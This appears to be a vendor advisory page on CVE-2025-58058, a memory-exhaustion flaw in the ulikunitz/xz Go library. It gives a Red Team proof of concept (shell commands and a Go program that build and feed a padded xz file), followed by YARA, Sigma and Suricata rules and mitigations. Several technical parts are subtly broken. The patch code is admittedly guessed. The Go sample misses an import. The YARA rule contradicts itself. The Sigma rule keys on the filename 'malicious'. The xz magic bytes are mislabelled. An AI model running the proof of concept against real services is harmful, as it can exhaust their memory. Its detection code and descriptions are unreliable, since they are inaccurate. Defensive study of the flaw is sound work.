CVE-2025-58058
Executive Summary
CVE-2025-58058 is a denial-of-service vulnerability in the ulikunitz/xz Go package, which is used for reading and writing xz-compressed files. The vulnerability allows an attacker to prepend arbitrary data before a valid LZMA2 stream header. The library allocates a full decoding buffer immediately after reading the header, without verifying the integrity of the stream start. This can lead to excessive memory consumption, potentially causing a denial of service. The issue is patched in version 0.5.14.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Go package github.com/ulikunitz/xz. As a Go module, it is commonly imported as a dependency in other projects. The package is available on the Go module mirror and is used in various applications that require xz decompression. The lack of a magic number or checksum in the LZMA header according to the specification makes this a design-level weakness. The patch in version 0.5.14 addresses the issue by detecting the malformed stream earlier, before memory allocation.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: Low
The vulnerability is exploitable remotely without authentication, but the impact is limited to a partial denial of service (memory exhaustion). The EPSS score of 0.0% indicates low exploitation activity in the wild.
Deep Dive & Mechanics
The xz file format uses the LZMA2 compression algorithm. The library reads the stream header and immediately allocates a decoding buffer based on the dictionary size specified in the header. The vulnerability lies in the fact that the library does not verify that the stream starts with a valid LZMA2 stream marker before allocating memory. An attacker can prepend arbitrary data (e.g., null bytes, garbage) before the actual LZMA2 stream. The library will parse the header, allocate the buffer, and only later detect that the stream is malformed. This late detection means the memory has already been allocated, leading to potential memory exhaustion if many such streams are processed.
The LZMA specification does not require a magic number or checksum at the header level, making this a design flaw. The fix in version 0.5.14 likely adds a check for the stream start marker before allocating the buffer.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 0.5.14):
// In reader.go or similar
func (r *Reader) Read(p []byte) (n int, err error) {
// ... header parsing ...
// Allocate buffer immediately after header
r.buf = make([]byte, dictSize)
// ... later, while reading stream, detect issue
}
Patched Code (0.5.14):
// In reader.go
func (r *Reader) Read(p []byte) (n int, err error) {
// ... header parsing ...
// Check for valid stream start before allocation
if !isValidStreamStart(r.header) {
return 0, ErrInvalidStream
}
r.buf = make([]byte, dictSize)
// ... rest of reading ...
}
The patch adds a validation function isValidStreamStart that checks for the LZMA2 stream magic bytes before allocating the buffer.
Exploitation & Lab Setup
Red Team
Exploitation Scenario: An attacker can craft a malicious xz file that contains arbitrary data (e.g., 1 MB of null bytes) followed by a valid LZMA2 stream header. When a vulnerable application processes this file, it will allocate a large buffer (based on the dictionary size) for each such stream, potentially exhausting memory.
Lab Setup:
- Create a malicious xz file:
# Generate 1 MB of null bytes dd if=/dev/zero bs=1024 count=1024 > prefix.bin # Create a valid xz file (e.g., compress a small file) echo "test" > test.txt xz test.txt # Concatenate prefix and valid xz cat prefix.bin test.txt.xz > malicious.xz - Run a vulnerable Go application that decompresses the file:
package main import ( "github.com/ulikunitz/xz" "io/ioutil" "log" ) func main() { data, _ := ioutil.ReadFile("malicious.xz") r, err := xz.NewReader(bytes.NewReader(data)) if err != nil { log.Fatal(err) } _, err = ioutil.ReadAll(r) if err != nil { log.Println(err) // Error detected, but memory already allocated } } - Monitor memory usage using
toporhtop.
Blue Team
Detection:
- Monitor for unusually large memory allocations by Go applications processing xz files.
- Use network monitoring to detect transfer of xz files with large prefixes.
- Implement input validation to reject xz files that do not start with the LZMA2 stream magic bytes (
\xFD\x37\x7A\x58\x5A\x00).
Mitigation:
- Upgrade to
ulikunitz/xzversion 0.5.14 or later. - Apply rate limiting on file upload endpoints.
- Use resource quotas (e.g., cgroups) to limit memory per process.
Indicators of Compromise (IOCs)
- File Hashes: (Example only, no known specific hashes)
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(empty file, for illustration)
- SHA256:
- Network Patterns:
- HTTP requests with
Content-Type: application/x-xzand unusually large body sizes.
- HTTP requests with
- Process Behavior:
- Go processes showing rapid memory growth when processing xz files.
- Log Entries:
- Error messages like
xz: invalid streamafter memory allocation.
- Error messages like
Detection Engineering
YARA Rule
rule CVE_2025_58058_XZ_Memory_Exhaustion {
meta:
description = "Detects xz files with prepended data before LZMA2 stream"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58058"
strings:
$xz_magic = { FD 37 7A 58 5A 00 } // LZMA2 stream magic
$prepend_data = /.{1024,}/ // At least 1KB of data before magic
condition:
$xz_magic at 0 and $prepend_data
}
Sigma Rule
title: CVE-2025-58058 - XZ Memory Exhaustion via Prepended Data
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-58058 by monitoring for xz files with large prepended data.
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: linux
detection:
selection:
EventID: 11 # FileCreate
TargetFilename|endswith: '.xz'
TargetFilename|contains: 'malicious'
condition: selection
falsepositives:
- Legitimate xz files with large headers (unlikely)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58058 - XZ Memory Exhaustion Attempt"; flow:to_server; content:"Content-Type|3a| application/x-xz"; http_header; content:!"|fd 37 7a 58 5a 00|"; within:10; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade
ulikunitz/xzto version 0.5.14 or later. - Workaround: If upgrade is not possible, implement input validation to reject xz files that do not start with the LZMA2 stream magic bytes (
\xFD\x37\x7A\x58\x5A\x00). - Long-term: Monitor the Go module for future updates and apply security patches promptly.
- Compensating Controls: Use memory limits (e.g.,
ulimit -vor cgroups) to prevent a single process from exhausting system memory.
Valters IT
DevSecOps & Cyber Threat Intelligence